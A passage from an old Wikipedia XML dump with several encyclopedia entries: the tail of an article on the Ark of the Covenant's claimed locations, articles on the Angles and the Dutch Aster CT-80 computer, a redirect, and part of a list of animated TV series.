[[Vendyl Jones]] claimed to have found the entrance to the chamber in the cave of the Column - Qumran. Here, he stated, is where the Ark was hidden prior to the destruction of the First Temple. Arutz Sheva quoted Jones stating he would reveal the ark on [[Tisha B'Av]] ([[August 14]], [[2005]]), the anniversary of the destruction of both the First and Second Temples. {{ref|Robins}} However, this did not occur. On Jones' website he states that he was misquoted and actually said it would be appropriate if he discovered the ark on Tisha B'Av. Jones is waiting for funding to explore the cave.

Modern excavations near the Temple Mount in Jerusalem have found tunnels, but digging beneath the Temple Mount is somewhat restricted. One of the most important Islamic shrines, the [[Dome of the Rock]], sits in the location where the Temple Mount in Jerusalem once stood. [[Ron Wyatt]] claimed he felt it unwise to fully excavate the Ark for a variety of reasons, including bloody ownership disputes and divine inspiration.

===Africa===
Some sources suggest that during the reign of King Manasseh (2 Chron 33) the Ark was smuggled from the temple by way of the [[Well of souls]] and taken to Egypt, eventually ending up in Ethiopia.  There are some carvings on the [[Cathedral of Chartres]] that may refer to this. 
[[Image:Ark_of_the_Covenant_church_in_Axum_Ethiopia.jpg|thumb|right|220px|The Chapel of the Tablet at the [[Church of Our Lady Mary of Zion]] allegedly houses the original ''Ark of the Covenant''.]]
====Ethiopian Orthodox Church====
The [[Ethiopian Orthodox Church]] in [[Axum, Ethiopia]] claims to still possess the Ark of the Covenant. Local tradition maintains that it was brought to [[Ethiopia]] by [[Menelik I]] following a visit to his father King Solomon. Although it was once paraded before the town once each year, it is now kept under constant guard in a &quot;treasury&quot; near the [[Church of Our Lady Mary of Zion]], and only the head priest of the church is allowed to view it. Most Western historians are skeptical of this claim.

Dr Bernard Leeman, in his 2005 book &quot;Queen of Sheba and Biblical Scholarship&quot; (Queensland Academic Press) accepts the Ethiopian traditions. He argues that the Ge'ez narrative of the Sheba-Menelik Cycle of the Kebra Nagast supports the case that ancient Judah was in west Arabia not Palestine and that Menelik's escape with the Ark follows landmarks and place names in Asir,Yemen, and Eritrea. Secondly Leeman draws attention to the Ark culture of Arabia (detailed in Munro-Hay and Grierson's works), the &quot;Hebrewisms&quot; in the Ancient West Arabian language, the word for Ark in Ge'ez (which is taken from pre-Babylonian captivity Hebrew), inscriptions in Sabaean near Mekele that speak of Hebrew resident there ca. 800 BCE ruled by three queens of Sheba, and the continued presence in the region of a Hebraic remnant group, the Ibro (or Yibir) of northern Somalia.

====Valley of Kings====
[[Andis Kaulins]] claims that the hiding place of the ark, said specifically by ancient sources (such as the [[Mishnayot]]), to be
: &quot;''a desolate valley under a hill - on its east side, forty stones deep''&quot;.
Today, it is believed by some that this refers to the Tomb of Tutankhamun (east side of the Valley of Kings, ca. forty stones deep).  Some believe that what was found there are the described treasures, including the Mishkan and the Ark of the Covenant.{{ref|Kaulins}}

==Media references==
The Ark of the Covenant was the focus of the highly popular 1981 adventure film, ''[[Raiders of the Lost Ark]]''. The plot suggests that [[Adolf Hitler]], deeply interested in supernatural power and the [[occult]], wants to acquire the Ark in order to rule the world. Intrepid archaeologist [[Indiana Jones]] opposes the Nazis and succeeds in keeping it from them. The Ark is shown to be extremely powerful, and dangerous to those who do not understand it. Jones wants to study the Ark, but it is last seen being boxed up and stored in a vast U.S. [[Government Warehouse|government warehouse]] - presumably never to be seen again.

A first season episode of the television series ''[[Xena: Warrior Princess]]'' uses the Ark as a [[plot device]]. In &quot;The Royal Couple of Thieves&quot;, Xena recruits the [[Autolycus|King Of Thieves]] to assist her in stealing the Ark from a profiteering warlord.  Xena returns it to its rightful people.

==See also==

'''[[List of ancient mysteries]]'''

'''[[Hebrews]]''': [[Most Holy Place]], [[Solomon's Temple]], [[Sanctuary]], [[Shittah-tree]], [[Cherub]], [[History of ancient Israel and Judah]], [[Tabernacle]], [[Jewish symbolism]], [[Book of Judges]], [[Books of Chronicles]], [[Exodus]], [[Idolatry]], [[Documentary hypothesis]].

'''[[Middle East]]ern''': [[Arab]], [[Ashdod]], [[Israel]], [[Philistines]], [[1050s BC]], [[Axum]],  [[Tewahedo Church]]

&quot;'''''[[Mana]]'''''&quot;: [[Nehushtan]], [[Baghdad Battery]], [[Shittah-tree]],  [[Ley line]]

'''[[Mormonism]]''': [[Stake (Mormonism)|Stake]]

'''[[Rastafari movement]]''' 

'''People''': [[Joshua]], [[Samuel]], [[Solomon]], [[Menelik I]], [[Theodulf]]

'''Other''':  [[Acacia]], [[Foucault's Pendulum (book)]], [[Rennes-le-Château]], [[Lost History]]

==Further reading==
* Fisher, Milton C., &quot;''The Ark of the Covenant: Alive and Well in Ethiopia?''&quot; Bible and Spade 8/3, pp. 65-72. 1995
* [[Graham Hancock|Hancock, Graham]], &quot;''[[The Sign and the Seal]] : 
The Quest for the Lost Ark of the Covenant''&quot;. Touchstone Books, 1993. ISBN 0671865412
*Leeman, Bernard &quot;Queen of Sheba and Biblical Scholarship&quot;. Queensland Academic Press 2005 ISBN 0975802208
* Ritmeyer, L., &quot;''The Ark of the Covenant: Where it Stood in Solomon's Temple''&quot;. Biblical Archaeology Review 22/1: 46-55, 70-73. 1996.

==External articles==
===References===

;Mobile vangaurd
* {{note|JewishEncyclopedia}} &quot;''[http://www.jewishencyclopedia.com/view.jsp?artid=1777&amp;letter=A&amp;search=Ark%20of%20the%20Covenant Ark of the Covenant]''&quot;. Jewish Encyclopedia.

;Location
* {{note|Kaulins}} Kaulins, Andis, &quot;''[http://www.lexiline.com/lexiline/lexi80.htm Mishnayot]''&quot;.
* {{note|Mock}} Mock, Robert, &quot;''[http://biblesearchers.com/temples/jeremiah1.shtml The Hiding of the Ark]''&quot;.
* {{note|Robins}} Robins, Gerard, &quot;''[http://www.geocities.com/Athens/Crete/9923/ark.html Vendyl Jones and the Ark of the Covenant]''&quot;. [Original: Jewish Herald Voice Newspaper, Houston, TX. May 2000.] ([http://www.lexiline.com/lexiline/gerardrobinsvendyljones.htm mirror site]).

===External links===
{{Wikibooks}}

;Classic Texts
*  &quot;''[http://www1.chabad.org/library/article.asp?AID=9886&amp;showrashi=true Shemot - Chapter 25]''&quot;. Tanach - Torah, Judaica Press.
* &quot;''[http://www.skepticsannotatedbible.com/ex/25.html Exodus 25]:10-22''&quot;. Skeptic's Annotated Bible.

;Descriptions
* &quot;''[http://www.newadvent.org/cathen/01721a.htm Ark of the Covenant]''&quot;. The Catholic Encyclopedia, Volume I.
* Pendleton, Philip Y., &quot;''[http://www.mun.ca/rels/restmov/texts/ppendleton/sec/ABSJT.HTM A Brief Sketch of the Jewish Tabernacle]''&quot;. 1901. (International Sunday-school Lessons for 1902. Standard Eclectic Commentary comprisiong original and selected notes, explanatory, illustrative, practical. Embellished with maps, diagrams, chronological charts, tables, ect.)
* Barrow, Martyn, &quot;''[http://www.domini.org/tabern/arkcovnt.htm The Ark of the Covenant] (Exodus 25:10-22)''&quot;. 1995.
* Kaulins, Andis, &quot;''[http://www.lexiline.com/lexiline/lexi000.htm Ark of the Covenant]''&quot;.
* Shyovitz, David, &quot;''[http://www.jewishvirtuallibrary.org/jsource/Judaism/ark.html The Lost Ark of the Covenant]''&quot;. Jewish Virtual Library.

;Location
* Wyatt, Ron &quot;''[http://www.wyattmuseum.com/ark-of-the-covenant-02.htm The Ark of the Covenant]: Ron Wyatt's description of his excavations for 3.5 years, and his claim to have seen it''&quot;.
* Searcy, Jim, &quot;''[http://www.dccsa.com/greatjoy/ark.html The Ark of the Covenant]: Present Location and Importance''&quot;. Cyprus. 
* Peters, Aland, &quot;''[http://alandpeters.tripod.com/knightstemplarera1188to1312/id15.html Templars excavaton of Solomon's Temple]''&quot;.
* Israel National News &quot;''[http://www.israelnationalnews.com/news.php3?id=82226 Kabbalist Blesses Jones]: Now´s the Time to Find Holy Lost Ark''&quot;. May 2005 (Iyar 5765).
* JAH, &quot;''[http://www.jahtruth.net/socio.htm The Ark of The Covenant in Ireland]''&quot;. JAH's Sociology Lecture given at Maynooth University in Ireland.

;General
* &quot;''[http://www.thebricktestament.com//exodus/the_ark_of_the_covenant/ex25_01p08-09.html The Ark of the Covenant]''&quot;. Old Testament - Exodus, The Brick Testament.
* [http://www.cathar.info/arkofthecovenant.htm The Ark of the Covenant] and its role in various popular mysteries.
* [http://www.renneslechateaubooks.info/arkofthecovenant/index.htm The Ark of the Covenant] Books on the subject, with reviews.
 

;Link collections
* Shapiro, Gerald N., &quot;''[http://www.shortcuts.com/arklinks.html A small selection of the information collected on the subject]''&quot;. September 19, 2004. 

;Original article text
* Initial text from [http://www.ccel.org/e/easton/ebd/ebd.html Easton's Bible Dictionary], [[1897]] listing of the [http://www.ccel.org/e/easton/ebd/ebd/T0000300.html#T0000309 Ark]&lt;!-- Please update as needed --&gt;
* Portions of this article have been taken from the [http://www.jewishencyclopedia.com/index.jsp Jewish Encyclopedia] of 1906 listing [http://www.jewishencyclopedia.com/view.jsp?artid=1777&amp;letter=A&amp;search=Ark%20of%20the%20Covenant Ark of the Covenant]

[[Category:Ancient mysteries]]
[[Category:Indiana Jones artifacts]]
[[Category:Jewish mysticism]]
[[Category:Tabernacle and Jerusalem Temples]]

[[de:Bundeslade]]
[[es:Arca de la Alianza]]
[[fr:Arche d'alliance]]
[[he:ארון הברית]]
[[nl:Ark van het Verbond]]
[[ja:契約の箱]]
[[pl:Arka Przymierza]]
[[pt:Arca da Aliança]]
[[fi:Liitonarkku]]
[[sv:Förbundsarken]]</text>
    </revision>
  </page>
  <page>
    <title>Angles</title>
    <id>2136</id>
    <revision>
      <id>40863200</id>
      <timestamp>2006-02-23T14:32:58Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.107.234.176|24.107.234.176]] ([[User talk:24.107.234.176|talk]]) to last version by Antandrus</comment>
      <text xml:space="preserve">{{Otheruses|Germanic people}}

'''Angles''' (German: ''Angeln'', Old English: ''Englas'', Latin: singular ''Anglus'', plural ''Anglii'') were [[Germanic people]], from [[Angeln]] in [[Schleswig]], who settled in [[East Anglia]], [[Mercia]] and [[Northumbria]] in the [[5th century]].  Southern and eastern [[Great Britain]] was later called ''Engla-lond'' (in [[Old English language|Old English]], &quot;Land of the Angles&quot;), thus [[England]]. For the rulers of the Angles prior to their migration to Great Britain, see [[List of kings of the Angles]].

== Early history  ==
Possibly the first instance of the Angles in recorded history is in [[Tacitus]]' ''[[Germania (book)|Germania]]'', chapter 40, in which the ''Anglii'' are mentioned in passing in a list of Germanic tribes.  He gives no precise indication of their geographical position, but states that, together with six other tribes, including the Varini (the [[Warni]] of later times), they worshipped a goddess named [[Nerthus]], whose sanctuary was situated on &quot;an island in the Ocean.&quot;  [[Ptolemy]] in his ''Geography'' (ii. 11. § 15), half a century later, locates them with more precision between the [[Rhine]], or rather perhaps the [[Ems]], and the [[Elbe]], and speaks of them as one of the chief tribes of the interior.  Unfortunately, however, it is clear from a comparison of his map with the evidence furnished by Tacitus and other Roman writers that the indications which he gives cannot be correct.  Owing to the uncertainty of these passages there has been much speculation regarding the original home of the Angli.  One theory, which however has little to recommend it, is that they dwelt in the basin of the [[Saale]] (in the neighbourhood of the canton [[Engilin]]), from which region the ''Lex Angliorum et Werinorum hoc est Thuringorum'' is believed by  many to have come.  At the present time the majority of scholars believe that the Angli had lived from the beginning on the coasts of the Baltic, probably in the southern part of the Jutish peninsula.  The evidence for this view is derived partly from English and Danish traditions dealing with persons and events of the [[4th century]] (see below), and partly from the fact that striking affinities to the cult of [[Nerthus]] as described by Tacitus are to be found in Scandinavian, especially Swedish and Danish, religion.  Investigations in this subject have rendered it very probable that the island of Nerthus was Sjælland ([[Zealand]]), and it is further to be observed that the kings of Wessex traced their ancestry ultimately to a certain [[Scyld]], who is clearly to be identified with [[Skiöldr]], the mythical founder of the Danish royal family ([[Skiöldungar]]).  In English tradition this person is connected with &quot;Scedeland&quot; (pl.), i.e. [[Scandinavia]], while in Scandinavian tradition he is specially associated with the ancient royal residence at Leire in Sjælland.

There is a theory that the name of the Angles came from [[Germanic languages|Germanic]] words for &quot;narrow&quot; (compare [[German language|German]] ''eng'' = &quot;narrow&quot;), and meant &quot;the people who live beside the Narrow [Water]&quot;, i.e. beside the [[Schlei]] estuary.

[[Bede]] states that the Angli before they came to Great Britain dwelt in a land called Angulus, and similar evidence is given by the ''[[Historia Brittonum]]''. King [[Alfred the Great]] and the chronicler [[Aethelweard|Æthelweard]] identified this place with the district which is now called Angel in the province of [[Schleswig]] (Slesvig), though it may then have been of greater extent, and this identification agrees very well with the indications given by Bede. Full confirmation is afforded by English and Danish traditions relating to two kings named [[Wermund]] and [[Offa]], from whom the Mercian royal family were descended, and whose exploits are connected with Angel, Schleswig and Rendsburg. Danish tradition has preserved record of two governors of Schleswig, father and son, in their service, [[Frowinus]] ([[Freawine]]) and [[Wigo]] ([[Wig]]), from whom the royal family of [[Wessex]] claimed descent. During the [[5th century]] the Angli invaded Great Britain, after which time their name does not recur on the continent except in the title of the code mentioned above.

The province of Schleswig has proved exceptionally rich in prehistoric antiquities which date apparently from the 4th and 5th centuries. Among the places where these have been found, special mention should be made of the large cremation cemetery at Borgstedterfeld, between Rendsburg and Eckernförde, which has yielded many urns and brooches closely resembling those found in heathen graves in England. Of still greater importance are the great deposits at Thorsbjaerg (in Angel) and Nydam, which contained large quantities of arms, ornaments, articles of clothing, agricultural implements, &amp;c., and in the latter case even ships. By the help of these discoveries we are able to reconstruct a fairly detailed picture of Angle civilization in the age preceding the invasion of Great Britain.

== Angle influence in Great Britain ==
According to sources such as the [[Bede|Venerable Bede]], after the invasion of Great Britain the Angles split up and founded the kingdoms of the ''Nord Angelnen'' ([[Northumbria]]), ''Ost Angelnen'' ([[East Anglia]]), and the ''Mittlere Angelnen'' ([[Mercia]]). Thanks to the major influence of the [[Saxons]], the tribes were collectively called [[Anglo-Saxon]]s by the [[Normans]].  A region of the [[United Kingdom]] is still known by the name East Anglia. 

The center of the Angle homeland in the north-eastern portion of the modern German bundesland of [[Schleswig-Holstein]], itself on the [[Jutland Peninsula]], is where the rest of that people stayed, a small peninsular form still called ''[[Angeln]]'' today and is formed as a triangle drawn roughly from modern [[Flensburg]] on the Flensburger Fjord to the [[City of Schleswig]] and then to Maasholm on the [[Schlei]] inlet.  

In any case, this small and relatively easterly geographic localisation of the original Angeln tribal group has led to one of the [[Anglo-Saxon Invasion]]'s enduring mysteries: how it is possible that the Anglo-Saxons were so frequently mentioned as colonisers of ancient Great Britain in all the ancient and medieval written sources, while evidence of the neighbouring and much more powerful Frisians' concurrent colonising activities in Great Britain has been so limited to discoveries in archeological science, and more often to logical deductions and inferences alone?  Of course, ethnic Frisians are known to have inhabited the land directly in the path of any migration route from Angeln to Great Britain (except for the long and difficult route by sea around the northern tip of Denmark), and, in fact, they also inhabited lands between the ancient Saxon domain and Great Britain; yet they are rarely mentioned as having taken part in the vast migration.

== St. Gregory ==
The Angles are the subject of a legend about [[Pope Gregory I]] (ca. 540–604).  As an abbreviated version of the story goes, Gregory happened to see a group of Angle children from [[Deira]] for sale as slaves in the Roman market.  Struck by the beauty of their fair-skinned complexions and bright blue eyes, Gregory inquired about their background.  When  told they were Angles, he replied with a Latin pun that translates well into English: “Non Angli, sed angeli”(&quot;Not Angles, but angels&quot;).  Supposedly, he thereafter resolved to convert their pagan homeland to Christianity.

==References==
* [[Hector Munro Chadwick]], ''Angli'', 1911 Britannica article
*{{1911}}

==External links==
* [http://news.bbc.co.uk/1/hi/wales/2076470.stm English and Welsh are races apart]; BBC; 30 June, 2002.


[[Category:1911 Britannica|Angli]]
[[Category:Ancient Germanic peoples]]
[[Category:Anglo-Saxon England]]
[[Category:Ethnic groups in Europe]]
[[Category:History of Northumberland]]
[[Category:History of the Germanic peoples]]
[[Category:Migration Period]]

[[ca:Angle (poble germànic)]]
[[da:Angler]]
[[de:Angeln (Volk)]]
[[es:Anglos]]
[[fi:Anglit]]
[[fr:Angles (peuple)]]
[[gl:Anglos]]
[[it:Angli]]
[[nl:Angelen]]
[[no:Anglerne]]
[[pl:Anglowie]]
[[pt:Anglos]]
[[ru:Англы]]
[[uk:Англи]]</text>
    </revision>
  </page>
  <page>
    <title>Aster CT-80</title>
    <id>2137</id>
    <revision>
      <id>39606357</id>
      <timestamp>2006-02-14T16:50:20Z</timestamp>
      <contributor>
        <username>SpacemanAfrica</username>
        <id>691095</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Aster CT-80''', an early [[home computer|home]]/[[personal computer]] developed by the small [[Netherlands|Dutch]] company MCP (later renamed to '''Aster Computers'''), was sold in its first incarnation as a kit for hobbyists. Later it was sold ready to use. It consisted of several [[Eurocard]] [[Printed circuit board|PCB]]'s and a [[backplane]]. 

Three models were sold. The first model looked like the later [[IBM PC]], a rectangular base unit with two [[floppy]] drives on the front, and a monitor on top with a separate keyboard. The second incarnation was a much smaller unit the width of two 5 1/4&quot; floppy drives stacked on top of each other, and the third incarnation looked like a flattened [[Apple II|Apple]] with a built-in keyboard.

All units ran much faster than the original [[TRS-80]], at 4 [[Megahertz|MHz]], and the display supported upper and lower case, and hardware snow suppression (video ram bus arbitration logic). The floppy disk interface supported dual density, and disk capacities up to 800 [[Kilobyte|KB]]. 

The Aster also had the unique feature of supporting two fundamentally different internal architectures: when turned on without a boot floppy, or with a TRS-DOS floppy the Aster would be fully TRS-80 compatible. But when the boot loader detected a [[CP/M]] floppy the Aster would reconfigure its internal architecture on the fly to optimally support CP/M with 60 KB free [[Random Access Memory|RAM]], and a 80 x 25 display, a capability it only shared with the [[LOBO Max-80]] another TRS-80 clone.

With a special configuration tool it could reconfigure its floppy drivers to read and write the floppies of about 80 other CP/M systems.

Most Aster CT-80's (about 10 thousand) were sold to schools for computer education, in a project first known as the &quot;honderd scholen project&quot; (one hundred schools project), but which later involved many more than just one hundred schools. MCP received this order from the Dutch government because their computer met all the demands, including the demand that the computers should be of Dutch origin and should be built in the Netherlands. Later however the Government turned around and gave 50% of the order to [[Philips]] and their [[Philips P2000|P2000]] homecomputer even though the P2000 did not meet all the demands and was made in [[Austria]].

Aster computers was based in the small town of [[Arkel]] near the town of [[Gorinchem]].
Initially Aster computer b.v. was called MCP (Music print Computer Product) and was specialised in producing computer assisted printing of sheet music. They started selling electronic kits to hobbyists. Among those kits were alternative floppy disk drives for TRS-80 computers. Because the infamous [[TRS-80 expansion interface]] was very expensive they also developed their own alternative in the form of a floppy disk controller and printer interface that could be built right into the floppy disk enclosure. The lack of RAM expansion was solved by a service in which the 16 KB RAM chips would be replaced by 64 KB ram chips.
While this went on MCP renamed itself to ''MCP CHIP'' but ran into problems with the German computer magazine CHIP, and had to return to its former name. At that time MCP did also sell imported home computers like the TRS-80, and the Apple.

After designing their own fully functional replacement for the TRS-80 expansion interface (which was never commercialised) the company decided that the TRS-80 was a great computer but it lacked in several areas. The display logic and resulting display 'snow' was bothersome, the CPU speed could be improved, and the floppy disk capacity and reliability was low. Also the more interesting software offered for CP/M systems was lacking. So they decided they could do better and designed the Aster CT-80.

Soon the little shop became too small and they moved to a much larger factory building nearby, and started mass producing the Aster for a period of a few years. 

To enhance and modernise the Aster CT-80 the company also designed three alternative video display adapters to supplement or replace the TRS-80 compatible video card.
* A very High resolution monochrome video card with [[blitter]] and hardware line drawing capability.
* A colour video card with [[sprite (computer graphics)|sprite]] capability based on the same video chip (the [[Texas Instruments TMS9918|TMS9918]]) as the [[Texas Instruments TI-99/4A|TI99/4]] and [[MSX]] computers.
* A color video card that had high resolution capability because it could reprogram the [[character set]] of the 80 x 24 display and could provide a separate programmable character for all of the 1920 (80 x 24) characters on the screen. Because the characters were 8 x 12 pixels this would allow for a resolution of 640 x 288 pixels, which was quite high for the time. This video card also supported 16 foreground and 16 background colors per character (one byte per character position).

A hard disk interface was also in the works.

Finally a replacement for the aging [[Z80]] processor was also being developed in the form of an [[Intel 8086]] board, and 16 bit memory boards.

Such replacements of main system components were possible because the Aster CT-80 was designed to use a backplane that supported 8 and 16 bit processors, and used the modular Eurocard design.

Unfortunately none of these extensions to the system became available because the company folded before they came to fruition.

Perhaps the Aster computer inspired another [[Netherlands|Dutch]] computer firm to name their computer after another typical Dutch flower &amp;mdash; the [[Tulip Computers NV|Tulip]].

==External links==
*[http://www.digidome.nl/mcp_hall.htm Some pictures of the Aster CT-80] &amp;ndash; From www.digidome.nl


[[Category:Home computers]]
[[Category:Personal computers]]

[[nl:Aster CT-80]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Wellesley</title>
    <id>2138</id>
    <revision>
      <id>15900576</id>
      <timestamp>2003-06-06T01:32:19Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Arthur Wellesley, 1st Duke of Wellington]]</text>
    </revision>
  </page>
  <page>
    <title>Animated television series</title>
    <id>2139</id>
    <revision>
      <id>42003479</id>
      <timestamp>2006-03-03T03:57:13Z</timestamp>
      <contributor>
        <ip>65.7.64.81</ip>
      </contributor>
      <comment>/* [[1980s]] */</comment>
      <text xml:space="preserve">{{backlink|Animation}}

An '''animated series''' or '''cartoon series''' is a [[television series]] produced by means of [[animation]]. 

A note on usage: The duration of an individual episode varies from series to series.  While some series may be produced as complete half hour programs, many cartoons are produced as short subjects of 15 minutes or less.  These cartoons are grouped and mixed together according to network programming demands.  Thus a particular animated series may appear in a number of formats, often anonymously, e.g. ''The Cartoon Hour''.

Below is a sample list of animated series (the list omits most animated series from [[Japan]], also known as [[anime]], which number in the thousands[http://www.animenewsnetwork.com/encyclopedia/anime.php?list=9]):

==[[1940s]]==

*''[[Crusader Rabbit]]'' (1949&amp;ndash;1957)

==[[1950s]]==

*''[[Captain Pugwash]]'' (1957&amp;ndash;1966)
*''[[Felix the Cat]]'' (new TV episodes) (1958&amp;ndash;1960)
*''[[Tom Terrific]]'' (1957&amp;ndash;1959)
*''[[The Space Explorers]]'' (1958&amp;ndash;1960)
*''[[Huckleberry Hound]]'' (1958&amp;ndash;1962)
*''[[Yogi Bear]]'' (1958&amp;ndash;1988)
*''[[Clutch Cargo]]'' (1959)

==[[1960s]]==

*''[[The Alvin Show]]'' (1961&amp;ndash;1962)
*''[[The Archie Show]]'' (1968&amp;ndash;1978)
*''[[Batfink]]'' (1967)
*''[[Beany and Cecil]]'' (1961&amp;ndash;1970)
*''[[The Beatles]]'' (1961&amp;ndash;1970)
*''[[Birdman]]'' (1967&amp;ndash;1969)
*''[[Casper and Friends]]''
*''[[The Flintstones]]'' (1960&amp;ndash;1966)
*''[[The Herculoids]]'' (1967&amp;ndash;1969)
*''[[The Jetsons]]'' ('''1962&amp;ndash;1963''', 1984&amp;ndash;1985, 1987)
*''[[Jonny Quest]]'' (1964&amp;ndash;1965)
*''[[Mary Mungo &amp; Midge]]'' (1969)
*''[[The Mighty Hercules]]'' (1964&amp;ndash;1966)
*''[[The Mighty Mightor]]'' (1967&amp;ndash;1969)
*''[[Peter Potamus]]'' (1964&amp;ndash;1965)
*''[[Rocket Robin Hood]]'' (1966&amp;ndash;1969)
*''[[The Rocky and Bullwinkle Show|Rocky &amp; Bullwinkle]]'' (1961&amp;ndash;1973)
*''[[Scooby-Doo, Where Are You!]]'' (1969&amp;ndash;1972; renewed under various other names through 1986)
*''[[Shazzan]]'' (1967&amp;ndash;1969)
*''[[Space Ghost]]'' (1966&amp;ndash;1968)
*''[[Speed Racer]]'' (1967&amp;ndash;1968)
*''[[Spider-Man]]'' (1967&amp;ndash;1970)
*''[[Top Cat]]'' (1961&amp;ndash;1962)
*''[[Young Samson and Goliath]]'' (1967&amp;ndash;1968)
*''[[Underdog]]'' (1964&amp;ndash;1973)
*''[[Wacky Races]]'' (1969&amp;ndash;1970)

==[[1970s]]==

[[Image:Tv_I_Am_the_Greatest_The_Adventures_of_Muhammad_Ali.jpg|thumb|right|250px|''I Am the Greatest: The Adventures of Muhammad Ali'']]

*''[[Bagpuss]]'' (1974)
*''[[Battle of the Planets]]'' (1978)
*''[[Fat Albert and the Cosby Kids]]'' (1972&amp;ndash;1984)
*''[[Hanna-Barbera's Cartoon Corral]]''
*''[[Hong Kong Phooey]]'' (1974&amp;ndash;1975)
*''[[I Am the Greatest: The Adventures of Muhammad Ali]]'' (1977)
*''[[Il était une fois l'homme]]'' (''Once Upon a Time...Man'')
*''[[Jabberjaw]]'' (1976&amp;ndash;1978)
*''[[The Jackson 5ive (cartoon)|The Jackson 5ive]]'' (1971&amp;ndash;1973)
*''[[Josie and the Pussycats (cartoon)|Josie and the Pussycats]]'' (1970&amp;ndash;1972)
*''[[The Pebbles and Bamm-Bamm Show]]'' (1971&amp;ndash;1972)
*''[[Princess Knight]]''
*''[[Roobarb]]'' (1974)
*''[[Scooby's All-Star Laff-a-Lympics]]'' (1977&amp;ndash;1979)
*''[[Schoolhouse Rock]]'' (1973)
*''[[Speed Buggy]]'' (1973&amp;ndash;1983)
*''[[Star Trek: The Animated Series]]'' (1973&amp;ndash;1974)
*''[[SuperFriends]]'' (1973&amp;ndash;1985)
*''[[Tom and Jerry (MGM)|The Tom &amp; Jerry/Grape Ape/Mumbly Show]]'' (1975&amp;ndash;1977)
*''[[Wait Till Your Father Gets Home]]'' (1972&amp;ndash;1974)

==[[1980s]]==

[[Image:galaxyhigh.jpg|thumb|right|250px|''Galaxy High, 1986'']]

*''[[Alvin and the Chipmunks]]'' (1983&amp;ndash;1991)
*''[[The Adventures of Teddy Ruxpin|Adventures of Teddy Ruxpin]]'' (1987&amp;ndash;1988)
*''[[Around the World with Willy Fog]]''
*''[[Bananaman]]'' (1983&amp;ndash;1986)
*''[[Beetlejuice (TV series)|Beetlejuice]]'' (1989&amp;ndash;1991)
*''[[The Berenstain Bears]]'' (1985)
*''[[Bertha]]'' (1986&amp;ndash;1987)
*''[[Beverly Hills Teens]]'' (1987)
*''[[Bionic Six]]'' (1987)
*''[[BraveStarr]]''
*''[[The Centurions (TV series)|The Centurions]]'' (1985&amp;ndash;1987)
*''[[Peanuts|The Charlie Brown &amp; Snoopy Show]]'' (1983&amp;ndash;1985)
*''[[Care Bears]]'' (1985&amp;ndash;1990)
*''[[Chip 'n Dale Rescue Rangers]]'' (1989&amp;ndash;1990)
*''[[Central_Organization_of_Police_Specialists|C.O.P.S.]]'' (1988&amp;ndash;1989)
*''[[Count Duckula]]'' (1988&amp;ndash;1993)
*''[[Dangermouse]]'' (1981&amp;ndash;1992)
*''[[Dennis the Menace (US)]]''
*''[[Denver, the Last Dinosaur]]'' (1988&amp;ndash;1989)
*''[[Drak Pack]]'' (1980)
*''[[Star Wars: Droids]]'' (1985&amp;ndash;1986)
*''[[DuckTales]]'' (1987&amp;ndash;1990)
*''[[Dungeons &amp; Dragons Animated Series|Dungeons &amp; Dragons]]'' (1983&amp;ndash;1986)
*''[[Star Wars: Ewoks]]'' (1985&amp;ndash;1987)
*''[[Galaxy High]]''
*''[[Galaxy Rangers]]''
*''[[Garfield and Friends]]'' (1988&amp;ndash;1994)
*''[[G.I. Joe]]'' (1985&amp;ndash;1986)
*''[[Disney's Adventures of the Gummi Bears|Adventures of the Gummi Bears]]'' (1985&amp;ndash;1990)
*''[[He-Man|He-Man and the Masters of the Universe]]'' (1983&amp;ndash;1985)
*''[[Henry's Cat]]'' (1982&amp;ndash;1986)
*''[[Il était une fois... l'espace]]'' (''Once Upon a Time...Space'') (1982)
*''[[Il était une fois... la vie]]'' (''Once Upon a Time...Life'') (1986)
*''[[Inhumanoids]]''
*''[[Inspector Gadget]]'' (1983&amp;ndash;1986)
*''[[Jayce and the Wheeled Warriors]]''
*''[[Jem (animated)|Jem]]'' (1985&amp;ndash;1988)
*''[[The Jetsons]]'' (new episodes from 1984&amp;ndash;1985 and 1987)
*''[[Kidd Video]]'' (1984&amp;ndash;1987)
*''[[The Littles]]'' (1983&amp;ndash;1986)
*''[[M.A.S.K.]]'' (1985)
*''[[Monchhichis]]'' (1983)
*''[[Muppet Babies]]'' (1984&amp;ndash;1991)
*''[[Mighty Mouse: The New Adventures]]''
*''[[The Moon Dreamers]]
*''[[The Mysterious Cities of Gold]]'' (''Les Mystérieuses Cités d'Or'') (1982)
*''[[My Little Pony Tales]]''
*''[[The New Adventures of Winnie the Pooh]]'' (1988&amp;ndash;1991)
*''[[The New Archies]]'' (1987&amp;ndash;1989)
*''[[Ovide and the Gang]]''
*''[[Pac-Man]]'' (1982&amp;ndash;1984)
*''[[Pingu]]'' (1986)
*''[[A Pup Named Scooby-Doo]]'' (1988&amp;ndash;1991)
*''[[The Raccoons]]'' (1985&amp;ndash;1991)
*''[[Rainbow Brite]]'' (1984&amp;ndash;1985)
*''[[Real Ghostbusters]]'' (1986&amp;ndash;1992)
*''[[Richie Rich (1980 TV series)|Richie Rich]]'' (Hanna-Barbera version) (1980&amp;ndash;1984)
*''[[Robostory]]'' (1985)
*''[[Rude Dog and the Dweebs]]''
*''[[Sharky and George]]''
*''[[She-Ra: Princess of Power]]'' (1985&amp;ndash;1986)
*''[[Shirt Tales]]'' (1982&amp;ndash;1984)
*''[[Silverhawks]]'' (1986)
*''[[The Simpsons]]'' (1989&amp;mdash;)
*''[[The Smurfs]]'' (1981&amp;ndash;1990)
*''[[The Snorks]]'' (1984&amp;ndash;1988)
*''[[Speed Racer]]''
*''[[Spider-Man and His Amazing Friends]]''
*''[[Spiral zone]]'' (1987)
*''[[Spartakus and the Sun Beneath the Sea]]'' (''Les Mondes engloutis'') (1985)
*''[[SuperTed]]'' (1983&amp;ndash;1986)
*''[[Super Dave]]'' (1987)
*''[[Super Mario Bros. Super Show]]'' (1989)
*''[[Teenage Mutant Ninja Turtles (1987 TV series)|Teenage Mutant Ninja Turtles]]'' (1987&amp;ndash;1996)
*''[[Thundarr the Barbarian]]'' (1980&amp;ndash;1982)
